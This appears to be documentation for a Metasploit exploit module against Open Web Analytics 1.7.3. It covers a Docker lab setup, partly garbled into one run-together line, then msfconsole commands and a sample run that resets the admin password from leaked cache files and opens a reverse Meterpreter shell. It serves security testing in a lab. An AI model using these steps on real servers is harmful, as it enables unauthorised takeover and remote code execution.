
Open Web Analytics 1.7.3 - Remote Code Execution
Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated remote attacker to obtain sensitive user information, which can be used to gain admin privileges by leveraging cache hashes. This occurs because files generated with '<?php (instead of the intended "<?php sequence) aren't handled by the PHP interpreter.
Start a vulnerable instance of OWA using docker
docker compose up -ddocker-compose.yml file
http://127.0.0.1/docker inspect <db-container> and get IPAddress, e.g 172.22.0.2)3306owaowaDemo12+#http://127.0.0.1admin[email protected]Demo12+#Start msfconsole
use exploit/multi/http/open_web_analytics_rce
set RHOSTS 127.0.0.1
set RPORT 80
set SSL false
set LHOST 172.22.0.1 -> this needs to be bridge IP that got created with the docker compose up -d command
check
run
When exploiting the target, the password of the attacked user will be overwritten with this password.
The user that will be targeted with this exploit.
The exploit works by retrieving a temp_passkey value from a cache file that gets created for each user when trying to login with it.
Since the /owa-data/caches/ directory is publicly accessible, we can retrieve these cache files. The exact path for the cache files
depends on the user_id and can get calculated with that. This option defines how many calculated paths, starting from 0, should be
checked for cache files with the temp_passkey value in it.
msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1
LHOST => 172.22.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > run
[*] Started reverse TCP handler on 172.22.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable
[+] Connected to http://127.0.0.1/ successfully!
[*] Attempting to find cache of 'admin' user
[+] Found temporary password for user 'admin': 85038e7e9f541ae4c4939d3044e628a5
[+] Changed the password of 'admin' to 'pwned'
[+] Logged in as admin user
[*] Creating log file
[+] Wrote payload to file
[*] Sending stage (39927 bytes) to 172.22.0.3
[+] Deleted QY0yivK4.php
[*] Meterpreter session 1 opened (172.22.0.1:4444 -> 172.22.0.3:55434) at 2023-03-15 01:28:54 +0100
[+] Triggering payload! Check your listener!
meterpreter > pwd
/var/www/html/owa-data/caches
meterpreter > getuid
Server username: www-data
meterpreter >